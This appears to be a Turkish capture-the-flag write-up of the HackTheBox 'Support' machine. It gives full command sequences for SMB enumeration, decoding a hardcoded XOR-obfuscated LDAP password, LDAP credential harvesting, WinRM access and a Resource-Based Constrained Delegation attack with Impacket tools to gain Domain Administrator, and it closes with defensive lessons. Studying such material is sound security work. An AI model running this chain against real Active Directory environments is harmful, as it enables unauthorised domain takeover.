Ekrana baktım, IP'yi gördüm, nmap'i çalıştırdım. Sonuçlar gelmeye başladığında içimde küçük bir heyecan oluştu, çünkü karşımdaki sıradan bir Linux kutusu değildi. Kerberos vardı, LDAP vardı, SMB vardı, WinRM vardı. Liste devam ettikçe netleşti: karşımda bir Active Directory Domain Controller var. Windows dünyasına ilk gerçek adımımı atıyordum, üstelik bir Easy makinede.
Bu yazı, baştan sona o makinenin (HackTheBox / Support) çözüm hikayesi. SMB'de unutulmuş bir paylaşımdan başlıyor, .NET binary'sinin IL koduna iniyor, LDAP dumping ile bir info alanından şifre çıkartıyor, WinRM ile içeri giriyor, sonra BloodHound oklarını takip ederek Resource-Based Constrained Delegation (RBCD) ile DC'de Administrator olmakla bitiyor. Her adımda neyi neden yaptığımı, kullandığım araçlardan hangisinin sahibi olduğumu (çoğu Impacket), bug'ların neden çalıştığını anlatmaya çalıştım.
Keşif: Karşımda Bir DC Var
Her şey gibi bu da nmap ile başlar. -sC -sV kombinasyonu varsayılan script taraması ve servis sürümlerini birlikte verdiği için ilk geçiş için en bilgilendirici komut, ben de oradan başladım:
$ nmap -sC -sV -oN nmap_initial.txt 10.129.2.5 PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos 135/tcp open msrpc Microsoft Windows RPC 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb) 445/tcp open microsoft-ds? 5985/tcp open http Microsoft HTTPAPI (WinRM)
Port listesine bakar bakmaz iki şey netleşti. Birincisi, port 88 Kerberos demek, Kerberos demek de neredeyse her zaman bir Domain Controller demek. Nmap zaten LDAP banner'ında domain adını bile veriyor: support.htb. İkincisi, WinRM (5985) açık. Yani eğer bir kullanıcı kimliği bulabilirsem doğrudan PowerShell ile uzaktan shell alabilirim, RDP gibi GUI'ye düşmeden.
Domain adını ve hostname'i hosts dosyasına eklemeyi unutmadım, ileride dc.support.htb diye çağırınca DNS sorunu yaşamayayım diye:
$ echo "10.129.2.5 support.htb dc.support.htb" | sudo tee -a /etc/hosts
SMB'de Şüpheli Bir Paylaşım
AD makinelerinde benim ilk reflexim SMB'yi yoklamak. SMB anonim erişim çoğu zaman küçük bir kapı ama girdiğinde sürpriz şeyler bulabiliyorsun, paylaşım listesi, eski script'ler, bazen de yanlışlıkla unutulmuş dosyalar. smbclient ile baktım:
$ smbclient -L //10.129.2.5 -N Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share support-tools Disk support staff tools
Diğerleri standart AD paylaşımları, anonim olarak içlerine giremem. Ama support-tools farklı, "support staff tools" yorumuyla özel açılmış. Bu tür "biz ekibimiz için açtık" tarzı paylaşımlar tarihin her döneminde sızıntı kaynağı olmuştur. Hemen içine baktım:
$ smbclient //10.129.2.5/support-tools -N smb: \> ls 7-Zip D npp.8.4.1.Installer.x64.exe 277499 putty.exe 1273808 SysinternalsSuite.zip 48102161 windirstat1_1_2_setup.exe 79740 WiresharkPortable64.zip 44398900 UserInfo.exe.zip 277499 smb: \> get UserInfo.exe.zip
Dosyaların büyük çoğunluğu sıradan IT araçları (7-Zip, PuTTY, Notepad++, Wireshark). Ama UserInfo.exe.zip bambaşka bir hava veriyor, böyle özel bir dosya bir IT toolkit'ine ait değil. İşte burayı kaşıyacağım.
$ unzip UserInfo.exe.zip -d UserInfo/ $ file UserInfo/UserInfo.exe UserInfo/UserInfo.exe: PE32 executable for MS Windows, Intel i386 Mono/.Net assembly
.NET assembly. Yani C# (büyük ihtimalle) derlenmiş bir Mono/.NET binary. Bu hediye olarak gelmiş çünkü .NET binary'leri tersine mühendislik açısından çocuk oyuncağı, IL kodunu okumak makine kodunu okumaktan kat kat kolay.
.NET Binary Tersine: monodis ve XOR Bilmecesi
Linux tarafında .NET binary'lerini inceleyenler için iki klasik araç var: monodis (Mono'nun disassembler'ı) ve dnSpy (Windows GUI). Ben hızlı baktığım için monodis ile başladım:
$ monodis UserInfo.exe | less
IL (Intermediate Language) kodu açıldı. .NET'in "byte code"u, JVM'in bytecode'una benzer ama biraz daha okunabilir. Sınıflar arasında dolaşırken Protected adlı sınıfın static constructor'ında iki tane ldstr (load string) çağrısı dikkatimi çekti:
// UserInfo.Services.Protected ldstr "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E" stsfld string UserInfo.Services.Protected::enc_password ldstr "armando" stsfld unsigned int8[] UserInfo.Services.Protected::key
İki şey net: birincisi enc_password diye bir alan var, içinde sonu = ile biten bir string, base64 kokusu kuvvetli. İkincisi key alanına "armando" string'i atanmış. Demek ki bir yerde bu enc_password bu key ile çözülüyor. getPassword() metoduna baktım:
// IL pseudo-translation data = Convert.FromBase64String(enc_password); for (int i = 0; i < data.Length; i++) { V_1[i] = data[i] XOR key[i % key.Length] XOR 223; } return Encoding.Default.GetString(V_1);
Algoritma çok şaşırtıcı değil: base64 decode, sonra her byte'ı önce key'in tekrarlanan karakterleriyle XOR, sonra sabit 223 (0xDF) ile XOR. Klasik obfuscation, kriptografi değil. Python'da 3 satır:
$ python3 >>> import base64 >>> enc = '0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E' >>> key = b'armando' >>> data = base64.b64decode(enc) >>> pw = bytes([data[i] ^ key[i % len(key)] ^ 0xDF for i in range(len(data))]) >>> print(pw.decode()) nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
Şifre çıktı. Programın geri kalanını okuyunca ortaya net bir resim çıktı: bu uygulama support\ldap hesabıyla LDAP'a bağlanıyor, kullanıcı listesi çekiyordu. Yani elimde hem kullanıcı adı (support\ldap) hem de şifre var. Bu şifre LDAP read-only erişimi vereceğine göre, LDAP'ı yetkili olarak dump edebilirim demek.
LDAP Dumping: info Alanı'ndaki Sürpriz
LDAP'ı authenticate user olarak dump etmek, AD'de en bilgilendirici keşif adımlarından biri. Çünkü LDAP, AD'nin "telefon rehberi" gibi: tüm kullanıcılar, gruplar, computer hesapları, OU yapıları orada duruyor. Üstelik bazı kullanıcılar attribute'larına aklı havada şeyler yazmış olabiliyor. Ben ldapsearch ile baktım:
$ ldapsearch -x -H ldap://10.129.2.5 \
-D "support\ldap" -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \
-b "DC=support,DC=htb" \
"(objectClass=user)" sAMAccountName info
Dump dökülürken bir kullanıcının çıktısı diğerlerinden farklıydı:
# tipik kullanici, bos info: sAMAccountName: ldap info: # sonra... sAMAccountName: support info: Ironside47pleasure40Watchful
Bir kullanıcının info alanına açık metin şifre yazılmış. Sysadmin bunu büyük ihtimalle bir hatırlatma olarak koymuş, sonra unutmuş, ya da fark etmemiş. Şu sebepten kritik: AD'de info alanı Account Operators, Domain Users, hatta authentication yapan herhangi bir kullanıcı tarafından okunabiliyor. Yani şifreyi tüm domain görüyor.
Çoğu zaman bu tarz çıktıyı gözden kaçırmamak için ben şu basit grep'i kullanıyorum: ldapsearch ... | grep -B 5 'info:' böylece info dolu olan her kayıt, hemen üstündeki 5 satırla birlikte gelir. Bu makinede info dolu olan tek user support'tu.
WinRM ile İçeri ve user.txt
Şifre elimde, kullanıcı adı support. WinRM (5985) açıktı, demek evil-winrm kullanmak en hızlı yol. Bu araç PowerShell over WinRM bağlantısı kurup interaktif shell veriyor, file upload/download, alias, hepsi içinde:
$ evil-winrm -i 10.129.2.5 -u support -p 'Ironside47pleasure40Watchful' Evil-WinRM shell v3.5 *Evil-WinRM* PS C:\Users\support\Documents> whoami support\support *Evil-WinRM* PS C:\Users\support\Documents> type ..\Desktop\user.txt
User flag tamam. Şimdi sıra DC'yi kontrol etmekte.
BloodHound: Yetki Haritasını Çıkartmak
AD'de privilege escalation'ın anahtarı genelde tek bir komutta gizlenmiyor, bir ilişkiler ağında gizleniyor. "Hangi kullanıcı hangi grubun üyesi, o grubun hangi nesne üzerinde ne yetkisi var, o nesne hangi başka şeye eriştiriyor" sorularının cevabı bir grafik veritabanında çok daha hızlı bulunuyor. BloodHound tam bu işi yapıyor.
bloodhound-python ile veriyi toplayıp BloodHound GUI'ye verdim:
$ bloodhound-python -u support -p 'Ironside47pleasure40Watchful' \ -d support.htb -ns 10.129.2.5 -c All --zip [*] Connecting to LDAP server: support.htb [*] Found 1 domains [*] Connecting to GC LDAP server: support.htb [*] Found 18 users [*] Found 53 groups [*] Compressing output into 20260521_bloodhound.zip
BloodHound'da support kullanıcısını "Mark as Owned" diye işaretledim, sonra "Find Shortest Paths to Domain Admins" sorgusunu çalıştırdım. Ekranda iki düğümlü çok kısa bir ok çıktı:
SUPPORT@SUPPORT.HTB │ ↓ MemberOf SHARED SUPPORT ACCOUNTS@SUPPORT.HTB │ ↓ GenericAll DC$@SUPPORT.HTB
Tek bir hop'ta domain controller hesabı. support kullanıcısı Shared Support Accounts grubunun üyesi, o grup DC$ bilgisayar hesabı üzerinde GenericAll yetkisine sahip. GenericAll AD'de bir nesne üzerinde alabileceğin en geniş yetkilerden biri, neredeyse "sahibi gibi davran" demek.
BloodHound'un sağ panelinde bu yolu nasıl kullanacağına dair hazır bir rehber bile var: "Use Resource-Based Constrained Delegation to escalate." Yani araç bana RBCD'yi gösteriyor.
RBCD Acaba Ne, Neden Çalışıyor?
RBCD'yi de bu makineye gelene kadar yalnızca konferans slaytlarında görmüştüm, hiç pratik yapmamıştım. Hep beraber bakalım.
Kerberos'un içinde delegation denen bir kavram var. Düşün, kullanıcı bir web servisine bağlanıyor. Bu web servisi onun adına başka bir backend servise istek atmak istiyor (mesela MSSQL). Klasik yöntem: kullanıcı kendi credential'ını web servisine veriyor, web servisi onun adına bağlanıyor. Bu güvensiz, çünkü web servisi şimdi kullanıcının şifresini taşıyor.
Kerberos bunu daha temiz yapmak için delegation mekanizmasını sundu: web servisi kullanıcıdan değil, KDC'den (Kerberos dağıtım sunucusu) "ben kullanıcı adına şuna bağlanacağım" diye bir ticket istiyor, KDC ona bu ticket'ı veriyor. Resource-Based Constrained Delegation (RBCD) bu modelin daha esnek bir versiyonu, Windows Server 2012'de geldi. Eskisinden farkı şu: hangi hesap kime delegation yapabilir bilgisi hedef nesnenin kendi attribute'unda saklanıyor, ismi msDS-AllowedToActOnBehalfOfOtherIdentity.
Pratikte bu attribute şu demek: "Şu attribute'da yazılan hesap, benim adıma S4U2Proxy ile herhangi bir kullanıcıyı taklit edebilir."
Şimdi bizim durumumuza dön: DC$ bilgisayar hesabının msDS-AllowedToActOnBehalfOfOtherIdentity attribute'unu değiştirme yetkimiz var (GenericAll sayesinde). Bu attribute'a kendi kontrol ettiğimiz bir bilgisayar hesabını yazarsak, o hesap DC$ adına Kerberos bilet talep edebilir, ve hangi kullanıcıyı taklit etmek istersek, Administrator dahil. Domain'in kralı.
Adım Adım Saldırı: FAKE$ Doğuyor
Bütün araçlar Impacket koleksiyonundan, bu pentest dünyasında neredeyse standart hâline gelmiş Python kütüphanesi. RBCD saldırısı için üç araç gerekti: addcomputer.py (sahte makine hesabı yarat), rbcd.py (DC$'nin attribute'unu güncelle), getST.py (S4U2Proxy ile ticket al).
Adım 1: Sahte Bilgisayar Hesabı
İlk iş kontrol edeceğim makine hesabını oluşturmak. FAKE$ isminde, şifresini ben verdim:
$ python3 addcomputer.py \ -computer-name 'FAKE$' \ -computer-pass 'FakePass123!' \ -dc-host support.htb \ support.htb/support:'Ironside47pleasure40Watchful' [*] Successfully added machine account FAKE$ with password FakePass123!
Bu noktada FAKE$ domain'de var, normal bir makine hesabı gibi. Kimsenin dikkatini çekmez, çünkü ortalama bir AD'de düzinelerce makine hesabı vardır.
Adım 2: DC$'nin Attribute'unu Yaz
Şimdi DC$ üzerinde msDS-AllowedToActOnBehalfOfOtherIdentity'yi FAKE$ içerecek şekilde güncelliyoruz. Bunu Impacket'ın rbcd.py aracı tek komutta hallediyor:
$ python3 rbcd.py \ -delegate-from 'FAKE$' \ -delegate-to 'DC$' \ -action write \ -dc-ip 10.129.2.5 \ support.htb/support:'Ironside47pleasure40Watchful' [*] FAKE$ can now impersonate users on DC$ via S4U2Proxy
Bir cümle, ama altında olan iş şu: support kullanıcısı GenericAll yetkisiyle DC$ nesnesinde değişiklik yapma hakkı bulduğu için, attribute'a yazma yetkisi var. rbcd.py de bu yetkiyi kullanarak attribute'ı bizim için güncelliyor.
S4U2Proxy: Administrator Adına Ticket
Adım 3: getST.py ile Bilet Al
Şimdi FAKE$ olarak Kerberos'a "ben Administrator adına cifs/dc.support.htb servisine ticket istiyorum" diyoruz. Bu işi Impacket'ın getST.py aracı yapıyor:
$ python3 getST.py \ -spn 'cifs/dc.support.htb' \ -impersonate Administrator \ -dc-ip 10.129.2.5 \ 'support.htb/FAKE$:FakePass123!' [*] Getting TGT for FAKE$ [*] Impersonating Administrator [*] Requesting S4U2self [*] Requesting S4U2Proxy [*] Saving ticket in Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
Burada iki Kerberos uzantısı arka arkaya çalışıyor:
- S4U2Self:
FAKE$kendi adına bir "Administrator için ticket" alıyor. KDC der ki "bu makine hesabı kendi servisine Administrator olarak gelmek istiyor, normal." - S4U2Proxy: Sonra
FAKE$"ben bu Administrator ticket'ınıDC$adınacifsservisine ileteyim" diyor. KDC bakar,DC$'ninmsDS-AllowedToActOnBehalfOfOtherIdentityattribute'undaFAKE$var, "tamam yapabilirsin" der ve geçerli bir ticket verir.
Sonunda elimde cifs/dc.support.htb servisi için Administrator yetkili bir Kerberos ticket'ı. Bu ticket diskte .ccache dosyası olarak duruyor.
Adım 4: Pass-the-Ticket
Ticket'ı KRB5CCNAME ortam değişkenine işaret ettim, böylece Impacket araçları bunu otomatik kullanacak. Sonra wmiexec.py ile DC'ye Kerberos auth ile bağlanıp komut çalıştırdım:
$ export KRB5CCNAME=Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache $ python3 wmiexec.py \ -k -no-pass \ -dc-ip 10.129.2.5 \ support.htb/Administrator@dc.support.htb \ 'type C:\Users\Administrator\Desktop\root.txt'
Root ve Çıkış
Saldırı Zinciri, Tek Bakışta
nmap -> Kerberos / LDAP / SMB / WinRM | v SMB anonim -> support-tools paylasimi -> UserInfo.exe.zip | v .NET binary -> monodis IL -> enc_password (base64) + key="armando" + XOR 0xDF -> LDAP sifresi: nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz | v LDAP dump (support\ldap) -> support user info: Ironside47pleasure40Watchful | v WinRM -> support user shell -> user.txt | v BloodHound -> Shared Support Accounts -> GenericAll DC$ | v RBCD: 1. addcomputer.py -> FAKE$ 2. rbcd.py -> DC$.msDS-AllowedToActOnBehalfOfOtherIdentity = FAKE$ 3. getST.py -> S4U2Self + S4U2Proxy -> Administrator ticket 4. wmiexec.py -k -> DC'de Administrator | v root.txt
Zafiyetler Tablosu
| # | Zafiyet | Etki | Sınıf |
|---|---|---|---|
| 1 | SMB anonim erişimde özel paylaşım | Hassas binary indirme | SMB Misconfiguration |
| 2 | .NET binary'de hardcoded LDAP credential | XOR ile çözülen şifre | Insecure Credential Storage |
| 3 | LDAP info alanında açık metin şifre |
Domain-wide görünen şifre | Credential Management |
| 4 | Shared Support Accounts -> GenericAll DC$ | DA-equivalent yetki | Excessive AD Privileges |
| 5 | MachineAccountQuota = 10 (varsayılan) | RBCD için sahte hesap üretimi | AD Default Misconfiguration |
Bana Bıraktıkları
Bu makine bana iki şeyi net şekilde gösterdi. Birincisi, AD'de saldırının çoğunlukla "tek bir CVE" yerine bir varsayılan ayarlar zinciri üzerinden ilerlediği. SMB anonim, MachineAccountQuota, GenericAll, S4U2Proxy, hepsi tek tek "öyle gelmiş öyle gidiyor" şeyler. Birleşince DC'nin kapısı açılıyor.
İkincisi, .NET binary'lerinin ne kadar şeffaf olduğu. C ile yazılmış bir program reverse etmek için gdb, IDA, sabır lazım. .NET ile yazılmış bir program monodis ile saniyede neredeyse C# seviyesinde okunur hale geliyor. Bu yüzden .NET'te asla, asla, asla credential gömme. Eğer gömmen gerekiyorsa, "XOR ile gizledim" bir savunma değil, sadece okuyana bir kahve içme zamanı tanıyor.
Yazıyı okuduğun için teşekkürler. Yanlış bulduğun, eklemek istediğin, sormak istediğin bir şey olursa Twitter veya mail her zaman açık.
// RAPOR SONU, MUCAHIC / OP-0042 / 2026.05.21